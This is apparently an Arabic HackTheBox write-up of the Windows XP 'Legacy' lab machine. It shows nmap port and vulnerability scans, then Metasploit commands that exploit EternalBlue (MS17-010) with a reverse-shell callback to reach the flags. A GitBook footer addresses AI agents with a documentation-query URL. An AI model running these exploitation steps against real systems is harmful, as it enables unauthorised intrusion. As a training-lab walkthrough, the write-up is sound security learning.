> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-easy/legacy-hackthebox-writeup.md).

# تقرير HackTheBox عن Legacy

{% embed url="<https://app.hackthebox.com/machines/Legacy>" %}

{% hint style="warning" %}
**المهارات:**

* استكشاف SMB
* استغلال EternalBlue (MS17-010) (استغلال Triple Z)
  {% endhint %}

## الاستطلاع

**إعداد مساحة العمل:**

قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

<figure><img src="/files/219873a400d5f2e59d9c6280e486306129995fc1" alt=""><figcaption></figcaption></figure>

**فحص اتصال VPN**

تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

<figure><img src="/files/1667124e7f795a42686afb062b512babb4367321" alt=""><figcaption></figcaption></figure>

**اكتشاف المنافذ المفتوحة باستخدام Nmap:**

قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.10.4 -oG allPorts
```

<figure><img src="/files/6014bb057c9777f4401c505ae82f4d5bf3acc159" alt=""><figcaption></figcaption></figure>

**تحليل المنافذ المفتوحة باستخدام extractPorts:**

باستخدام دالة extractPorts لعرض المنافذ المفتوحة بشكل موجز ونسخها إلى الحافظة (135،139،445)

<figure><img src="/files/f52d7b68e3bfda42f7979e7a2ef1eb4e65a0ca38" alt="" width="563"><figcaption></figcaption></figure>

فحص إصدارات المنافذ باستخدام Nmap:

استخدم Nmap لفحص إصدارات الخدمات وحفظ الناتج في الملف "targeted":

```bash
nmap -sCV -p135,139,445 10.10.10.4 -oN targeted
```

<figure><img src="/files/0f9324e1283cbbdd394025e7793d97c3eea029a1" alt=""><figcaption></figcaption></figure>

## استغلال EternalBlue - SMB (MS17-010)

يُظهر لنا تحليل Nmap أن الخادم المستهدف يعمل بإصدار من Windows XP، مما يتيح لنا محاولة استغلال ثغرة MS17-010.

نطلق فحص Nmap للتحقق من وجود هذه الثغرة:

```bash
nmap --script "vuln and safe" -p445 10.10.10.4 -oN smbScan
```

يؤكد هذا الفحص أن الجهاز معرض لثغرة MS17-010.

<figure><img src="/files/0a2155ec05812c99a634b4c01a5d3e32c4bc4d01" alt=""><figcaption></figcaption></figure>

### **الاستغلال باستخدام Metasploit**

نبحث عن الاستغلال في Metasploit:

```
msfconsole 
search eternalblue 
```

نختار أول استغلال مُدرج:

```
use 1
```

<figure><img src="/files/2c8cb8746bc005aabdfcf30c9581258b305bd89b" alt=""><figcaption></figcaption></figure>

نُهيّئ الخيارات:

```bash
set RHOSTS 10.10.10.4
set LHOST 10.10.14.50
set LPORT 443
```

<figure><img src="/files/8b4af0c70822545874bfaeb65b172476e77d661d" alt="" width="563"><figcaption></figcaption></figure>

ثم نطلق الاستغلال:

<figure><img src="/files/4794073bcf54e3f7cc6ba2e23ffbcf946ff705e4" alt=""><figcaption></figcaption></figure>

### الراية user.txt :)

<figure><img src="/files/a988c7b6f3f20fe975eb8852cdd0a42b019688c1" alt=""><figcaption></figcaption></figure>

### العلم root.txt :)

<figure><img src="/files/48b491a8665ca51c69293df1376378b3c50f4865" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/cdfacc5ef902d9d5c6e5319e7a89ef825228909d" alt="" width="514"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-easy/legacy-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
